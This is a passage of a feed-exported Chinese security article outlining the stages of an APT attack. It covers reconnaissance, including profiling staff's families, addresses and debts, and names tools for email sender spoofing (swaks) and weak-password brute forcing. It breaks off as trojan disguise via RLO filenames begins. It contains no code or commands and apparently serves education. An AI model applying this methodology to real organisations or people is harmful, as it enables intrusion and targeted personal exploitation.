<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8b70bda5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496624%26idx%3D1%26sn%3D87584de7703440fedb1ec80905de290a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 29 Mar 2026 19:00:00 +0800</pubDate>
    </item>
    <item>
      <title>APT攻击完整流程</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496623&amp;idx=1&amp;sn=46d2e0509d21684111d590a274b027bb</link>
      <description>APT攻击完整流程概述</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-03-28 20:00</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=fb94fb83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FM5H82XuSHY7L1J7Uuc1bCm5ePhRPOKtoIwWuwYwINAalzQkV5MRorstq3TmiaMHQDog9sU8S59Mb81h2ksZWMIOeL5yPhwX3ibDWy9dSpVk5A%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><h1 style="box-sizing: border-box;border-width: 0px 0px 2px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 16.8px;font-weight: bold;margin: 2em auto 1em;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 1em;color: rgb(63, 63, 63);"><span leaf="">APT攻击完整流程</span></h1><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 4em auto 2em;text-align: justify;line-height: 1.75;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);"><span leaf="">概述</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">APT（Advanced Persistent Threat，高级持续性威胁）攻击是一种针对特定目标进行的长期、隐蔽、复杂的网络攻击。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">APT攻击通常由有组织的攻击团队实施，具有明确的政治、经济或军事目的。本文档详细描述APT攻击的完整流程，包括目标侦察、木马制作、木马投递、控制后渗透、数据回传等关键阶段。</span></p><hr style="box-sizing: border-box;border-width: 2px 0px 0px;border-style: solid;border-color: rgba(0, 0, 0, 0.1);height: 0.4em;color: inherit;margin: 1.5em 0px;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 4em auto 2em;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);"><span leaf="">一、目标侦察阶段</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">目标侦察是APT攻击的起点，情报收集的广度决定了攻击的深度。攻击者通过多种手段全面了解目标组织的信息。</span></p><h3 style="box-sizing: border-box;border-width: 0px 0px 0px 3px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: justify;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 8px;color: rgb(63, 63, 63);"><span leaf="">1.1 OSINT开源情报收集</span></h3><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">组织公开信息收集</span></strong><span leaf="">：收集目标组织的公开业务、产品文档</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">网络拓扑、业务架构收集</span></strong><span leaf="">：分析目标的网络结构和业务系统</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">域名、IP空间确定</span></strong><span leaf="">：识别目标拥有的域名和IP地址范围</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">组织物理位置、办公场所信息收集</span></strong><span leaf="">：了解目标的地理位置分布</span></p></li></ul><h3 style="box-sizing: border-box;border-width: 0px 0px 0px 3px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: justify;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 8px;color: rgb(63, 63, 63);"><span leaf="">1.2 人员信息收集</span></h3><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">邮箱、用户名、社交账号收集</span></strong><span leaf="">：通过社交媒体、公开数据库收集关键人员信息</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">职务、组织角色、人物关系收集</span></strong><span leaf="">：绘制组织架构图，识别关键决策者</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">第三方人员信息收集</span></strong><span leaf="">：收集供应商、合作伙伴等第三方人员信息</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">社保、家庭成员、家庭住址、债务情况收集</span></strong><span leaf="">：深度挖掘个人背景信息</span></p></li></ul><h3 style="box-sizing: border-box;border-width: 0px 0px 0px 3px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: justify;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 8px;color: rgb(63, 63, 63);"><span leaf="">1.3 技术信息收集</span></h3><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">网站、博客、业务地址收集</span></strong><span leaf="">：识别目标的在线资产</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">供应链技术信息收集</span></strong><span leaf="">：分析目标使用的第三方技术和供应商</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">法人、股东结构、组织架构收集</span></strong><span leaf="">：了解企业的法律和治理结构</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">第三方供应商合作业务识别</span></strong><span leaf="">：识别可能的供应链攻击入口</span></p></li></ul><h3 style="box-sizing: border-box;border-width: 0px 0px 0px 3px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: justify;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 8px;color: rgb(63, 63, 63);"><span leaf="">1.4 工具与技术</span></h3><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">防欺骗能力检测</span></strong><span leaf="">：SpoofCheck</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">发件人伪造</span></strong><span leaf="">：swaks、代发API</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">弱口令攻击</span></strong><span leaf="">：针对各类服务的暴力破解</span></p></li></ul><hr style="box-sizing: border-box;border-width: 2px 0px 0px;border-style: solid;border-color: rgba(0, 0, 0, 0.1);height: 0.4em;color: inherit;margin: 1.5em 0px;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);"/><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 4em auto 2em;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);"><span leaf="">二、木马制作阶段</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">木马制作阶段是将攻击意图转化为实际攻击载荷的关键环节，攻击者需要根据目标环境定制恶意代码。</span></p><h3 style="box-sizing: border-box;border-width: 0px 0px 0px 3px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: justify;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 8px;color: rgb(63, 63, 63);"><span leaf="">2.1 木马类型选择</span></h3><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">RLO文件名伪装</span></strong><span leaf="">：利用Right-to-Left Override技术伪装文件名</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p style="text-align: justify;"><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica 